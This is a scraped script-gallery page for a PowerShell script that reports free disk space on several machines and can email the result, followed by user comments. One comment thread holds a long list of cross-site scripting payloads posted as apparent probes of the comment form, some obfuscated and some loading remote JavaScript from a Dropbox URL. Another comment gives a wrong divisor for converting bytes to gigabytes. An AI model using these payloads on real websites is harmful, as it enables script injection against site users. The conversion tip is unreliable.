List the free space of all drives for several machines

List for several machines all drives with size, free size and the percentage of free space. Optional you can send the result as html or plain text report by smtp e-mail.

 
 
 
 
 
4.3 Star
(80)
31,052 times
Add to favorites
Storage
12/27/2011
E-mail Twitter del.icio.us Digg Facebook
  • Nice Job!
    1 Posts | Last post October 23, 2019
  • Pull a list of servers from OU instead of manually adding server names?
    3 Posts | Last post August 07, 2019
    • Great script - Can it be set to pull a list of servers from a specific OU instead of manually adding server names? Thanks
    • "><img src=xss onerror=alert(1)>
    • <script>alert(123);</script>
      <ScRipT>alert("XSS");</ScRipT>
      <script>alert(123)</script>
      <script>alert("hellox worldss");</script>
      <script>alert(“XSS”)</script> 
      <script>alert(“XSS”);</script>
      <script>alert(‘XSS’)</script>
      “><script>alert(“XSS”)</script>
      <script>alert(/XSS”)</script>
      <script>alert(/XSS/)</script>
      </script><script>alert(1)</script>
      ‘; alert(1);
      ‘)alert(1);//
      <ScRiPt>alert(1)</sCriPt>
      <IMG SRC=jAVasCrIPt:alert(‘XSS’)>
      <IMG SRC=”javascript:alert(‘XSS’);”>
      <IMG SRC=javascript:alert(&quot;XSS&quot;)>
      <IMG SRC=javascript:alert(‘XSS’)>      
      <img src=xss onerror=alert(1)>
      
      
      <iframe %00 src="&Tab;javascript:prompt(1)&Tab;"%00>
      
      <svg><style>{font-family&colon;'<iframe/onload=confirm(1)>'
      
      <input/onmouseover="javaSCRIPT&colon;confirm&lpar;1&rpar;"
      
      <sVg><scRipt %00>alert&lpar;1&rpar; {Opera}
      
      <img/src=`%00` onerror=this.onerror=confirm(1)
      
      <form><isindex formaction="javascript&colon;confirm(1)"
      
      <img src=`%00`&NewLine; onerror=alert(1)&NewLine;
      
      <script/&Tab; src='https://dl.dropbox.com/u/13018058/js.js' /&Tab;></script>
      
      <ScRipT 5-0*3+9/3=>prompt(1)</ScRipT giveanswerhere=?
      
      <iframe/src="data:text/html;&Tab;base64&Tab;,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==">
      
      <script /*%00*/>/*%00*/alert(1)/*%00*/</script /*%00*/
      
      &#34;&#62;<h1/onmouseover='\u0061lert(1)'>%00
      
      <iframe/src="data:text/html,<svg &#111;&#110;load=alert(1)>">
      
      <meta content="&NewLine; 1 &NewLine;; JAVASCRIPT&colon; alert(1)" http-equiv="refresh"/>
      
      <svg><script xlink:href=data&colon;,window.open('https://www.google.com/')></script
      
      <svg><script x:href='https://dl.dropbox.com/u/13018058/js.js' {Opera}
      
      <meta http-equiv="refresh" content="0;url=javascript:confirm(1)">
      <iframe src=javascript&colon;alert&lpar;document&period;location&rpar;>
      
      <form><a href="javascript:\u0061lert&#x28;1&#x29;">X
      
      </script><img/*%00/src="worksinchrome&colon;prompt&#x28;1&#x29;"/%00*/onerror='eval(src)'>
      <img/&#09;&#10;&#11; src=`~` onerror=prompt(1)>
      <form><iframe &#09;&#10;&#11; src="javascript&#58;alert(1)"&#11;&#10;&#09;;>
  • "><img src=xss onerror=alert(1)>
    1 Posts | Last post July 27, 2019
    • "><img src=xss onerror=alert(1)>
  • change to GB
    4 Posts | Last post May 15, 2019
    • Hi Olaf
      
      excellent script, saves me lots of time during the day.
      
      is it possible to change from mb to gb??
    • Just divide $_.Size by 1099511627776 instead of 1048576 to get the value in GB.
    • Super Script! Vielen Dank dafür!
    • Thanks Great work!
  • output not getting after run the PowerShell script
    1 Posts | Last post December 29, 2015
    • Hello,
      
      after update the SMTP details and run the powershell script, please find below mention error i am getting.
      
      Exception calling "Send" with "1" argument(s): "Failure sending mail."
      At G:\Query\PowerShell\New_powershell\Disk_Space\ListServerDrivesFreespace_Emai
      l.ps1:174 char:17
      + $smtpClient.Send <<<< ($mailMsg)
          + CategoryInfo          : NotSpecified: (:) [], MethodInvocationException
          + FullyQualifiedErrorId : DotNetMethodException
       
  • Great script
    1 Posts | Last post June 25, 2015
  • Kill script
    1 Posts | Last post April 20, 2015
    • Can I add a kill or stop script command if there is no Warn or Alarm message?
      
      
  • How to send email to multiple recipients ?
    2 Posts | Last post April 06, 2015
    • How to send email to multiple recipients ?
      
      I tried this [string] $receiver = "wahan@xxx.gx.pk,nhmed@xxx.gx.pk";
      but still first email address is receiving and second is not receiving ?
    • OK first change this:
      [string[]] $receiver    = "waan@xxx.xxx.pk","mshid@xxx.xxx.pk", "atha@xxx.xxx.pk","bhmed@alum.xxx.xxx.pk";
      
      Then :
      # Init Mail address objects
      #$smtpClient = New-Object Net.Mail.SmtpClient($smtpServer);
      #$emailFrom  = New-Object Net.Mail.MailAddress $sender, $sender;
      #$emailTo    = New-Object Net.Mail.MailAddress $receiver , $receiver;
      #$mailMsg    = New-Object Net.Mail.MailMessage($emailFrom, $emailTo, $subject, $body);
      
      #$mailMsg.IsBodyHtml = $asHtml;
      #$smtpClient.UseDefaultCredentials = $true;
      #$smtpClient.Send($mailMsg)
      
      Send-MailMessage -To $receiver -From $sender  -Subject $subject -Body $body -SmtpServer $smtpServer -BodyAsHtml
      
      
      Basically i am send-mailmessage command in it , instead of $smtpClient.Send.
      
      Regards, 
  • Can I just get and HTML report and not use the SMTP settings?
    1 Posts | Last post February 27, 2015
    • Hi Olaf,
      
      I am new to Powershell and have found it very useful. My question is I would like to run your revised script to provide me only an HTML report.  Is there something that I need to modify in your script to just provide me an HTML report? 
  • can i use to get mount point drive details?
    1 Posts | Last post October 19, 2014
1 - 10 of 24 Items